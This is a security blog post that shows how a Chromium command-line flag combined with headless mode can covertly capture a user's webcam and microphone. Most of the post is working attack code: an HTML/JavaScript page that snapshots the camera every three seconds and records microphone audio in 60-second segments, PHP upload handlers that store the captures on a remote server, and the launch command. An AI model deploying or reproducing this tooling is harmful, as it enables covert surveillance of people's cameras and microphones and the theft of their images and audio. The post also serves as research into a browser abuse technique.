mr.d0x

C:\Users\mr.d0x> whoami_

Capturing Camera & Mic Using Chromium Browsers

June 03, 2025

This blog explores another Chromium command line flag that can be used to spy on a user by continuously taking pictures through their camera and recording their microphone audio.

Introduction

In the previous blog post, Capturing Screen Activity Using Chromium Browsers, I used the --auto-select-desktop-capture-source=Entire Chromium flag to automatically capture the entire screen without any user interaction or approval. In this blog post, I’ll explore another Chromium flag that allows us to bypass the approval for using the user’s camera & microphone.

Permission Prompt

When a website wants to access a user’s camera and microphone they use the getUserMedia method. Unlike the getDisplayMedia method used in the previous blog, getUserMedia can be called without a prior user gesture, but the browser will still show a permission prompt that the user must explicitly approve.

prompt

Automatic Camera & Microphone Access

Chromium convinently has the --auto-accept-camera-and-microphone-capture flag that will automatically accept the previously shown prompt and allow a website to access the camera and microphone. This flag can be used with the --headless flag, allowing it to run invisible to the user.

The page being navigated to should use getUserMedia to access the user’s media devices. In the script below, I created a function called captureCameraAndMic, which calls getUserMedia with both video and audio set to true to capture the user’s camera and microphone.

<!DOCTYPE html>
<html>
<body>
  <video id="video" autoplay playsinline></video>
  <script>
    function captureCameraAndMic() {
      navigator.mediaDevices.getUserMedia({ video: true, audio: true }).then(stream => {
        document.getElementById('video').srcObject = stream;
      });
    }

    captureCameraAndMic();
  </script>
</body>
</html>

To test that the camera and microphone inputs are being captured without any prompt, run the command below. The command omits the --headless flag for testing purposes. Since we’re not using the --headless flag, we must close any running instance of the browser before running the command below. So if you use msedge.exe, kill all msedge processes before running the command.

[msedge.exe|chrome.exe] --auto-accept-camera-and-microphone-capture https://example.com/share.html

The camera and microphone should be accessible without any prompt.

img1

Taking Snapshots

With the test succeeding, we can move on to the next step, which is taking camera snapshots every few seconds and saving them on our server. The script below has two functions:

startCapture – Initializes the camera stream using getUserMedia, displays the video in a <video> element, and sets up a timer to take snapshots at regular intervals (in our case every 3 seconds).

takeAndUploadSnapshot – Captures a frame from the video, draws it onto a hidden <canvas>, converts it to a PNG image blob, and sends it to upload.php using a POST request.

<!DOCTYPE html>
<html>
<head>
</head>
<body>
  <video id="video" autoplay playsinline></video>
  <canvas id="canvas" width="1000" height="1000" style="display:none;"></canvas>

  <script>
    const video = document.getElementById('video');
    const canvas = document.getElementById('canvas');
    const context = canvas.getContext('2d');

    function startCapture() {
      navigator.mediaDevices.getUserMedia({ video: true }).then(stream => {
        video.srcObject = stream;
        setInterval(() => takeAndUploadSnapshot(), 3000);
      });
    }

    function takeAndUploadSnapshot() {
        context.drawImage(video, 0, 0, canvas.width, canvas.height);
        const timestamp = Date.now();
        const filename = `imgCapture-${timestamp}.png`;
        const dataUrl = canvas.toDataURL('image/png');

        fetch('upload.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
                image: dataUrl,
                filename: filename
            })
        });

    }

    startCapture();
  </script>
</body>
</html>

The script sends the image’s Base64 blob and file name to upload.php. The PHP script will be responsible for handling the incoming image data and Base64-decoding it and saving it into /var/www/imgCapture. Keep in mind that upload.php should have permission to write in that folder otherwise you will face an error. This is the same script that was used in the previous blog post.

<?php
$data = json_decode(file_get_contents("php://input"), true);

if (!$data || !isset($data['image']) || !isset($data['filename'])) {
    http_response_code(400);
    exit;
}

// Extract img b64 data and filename
$imageBase64 = $data['image'];
$filename = $data['filename'];

// Remove "data:image/png;base64," from the beginning
$base64String = preg_replace('#^data:image/\w+;base64,#i', '', $imageBase64);
$imageData = base64_decode($base64String);

$uploadDir = '/var/www/imgCapture';
$filePath = $uploadDir . '/' . $filename;

if (file_put_contents($filePath, $imageData)) {
    echo json_encode(['success' => true]);
} else {
    http_response_code(500);
    echo json_encode(['success' => false]);
}
?>

Now run the same command as before but with the --headless command and watch the camera captures folder gain new images every few seconds.

[msedge.exe|chrome.exe] --headless --auto-accept-camera-and-microphone-capture https://example.com/share.html

cmd

savedimg

Record Microphone Audio

Let’s take advantage of having microphone access and updating our script to also record and save audio. This will also require us to update the PHP script to save the audio. The previous script is updated with a new function, startAudioRecording, which captures microphone input from the media stream and continuously records audio segments. Each segment is set to 60 seconds and is saved as a .webm file and sent to upload-mic.php.

<!DOCTYPE html>
<html>
<head></head>
<body>
  <video id="video" autoplay playsinline></video>
  <canvas id="canvas" width="1000" height="1000" style="display:none;"></canvas>
  <script>
    const video = document.getElementById('video');
    const canvas = document.getElementById('canvas');
    const context = canvas.getContext('2d');

    function startCapture() {
      navigator.mediaDevices.getUserMedia({ video: true, audio: true }).then(stream => {
        video.srcObject = stream;
        setInterval(takeAndUploadSnapshot, 3000);
        startAudioRecording(stream);
      });
    }

    function takeAndUploadSnapshot() {
      context.drawImage(video, 0, 0, canvas.width, canvas.height);
      const timestamp = Date.now();
      const filename = `imgCapture-${timestamp}.png`;
      const dataUrl = canvas.toDataURL('image/png');
      fetch('/upload.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ image: dataUrl, filename: filename })
      });
    }

 function startAudioRecording(stream) {
   const audioStream = new MediaStream(stream.getAudioTracks());
   const options     = { mimeType: 'audio/webm;codecs=opus' };
   if (!MediaRecorder.isTypeSupported(options.mimeType)) {
     delete options.mimeType;             // fall back gracefully
   }

   function startSegment() {
     const recorder = new MediaRecorder(audioStream, options);
     const segmentTimestamp = Date.now();
     const filename = `mic-${segmentTimestamp}.webm`;

     recorder.ondataavailable = e => {
       if (e.data && e.data.size > 0) {
         const formData = new FormData();
         formData.append('audio', e.data, filename);
         fetch('/upload-mic.php', { method: 'POST', body: formData });
       }
     };

     recorder.start();
     setTimeout(() => recorder.stop(), 60000); // Stop the recording after 60 seconds
   }

   startSegment();
   setInterval(startSegment, 60000); // Every 60 seconds, start recording again
 }


    startCapture();
  </script>
</body>
</html>

The upload-mic.php file grabs the audio file and saves it to /var/www/imgCapture.

<?php
$targetDir = '/var/www/imgCapture/';

if (!isset($_FILES['audio']) || $_FILES['audio']['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit;
}

$filename = basename($_FILES['audio']['name']);
$targetFile = $targetDir . $filename;

if (file_put_contents($targetFile, file_get_contents($_FILES['audio']['tmp_name'])) !== false) {
    http_response_code(200);
} else {
    http_response_code(500);
}
?>

The /var/www/imgCapture folder will now have audio and images saved.

savedaudio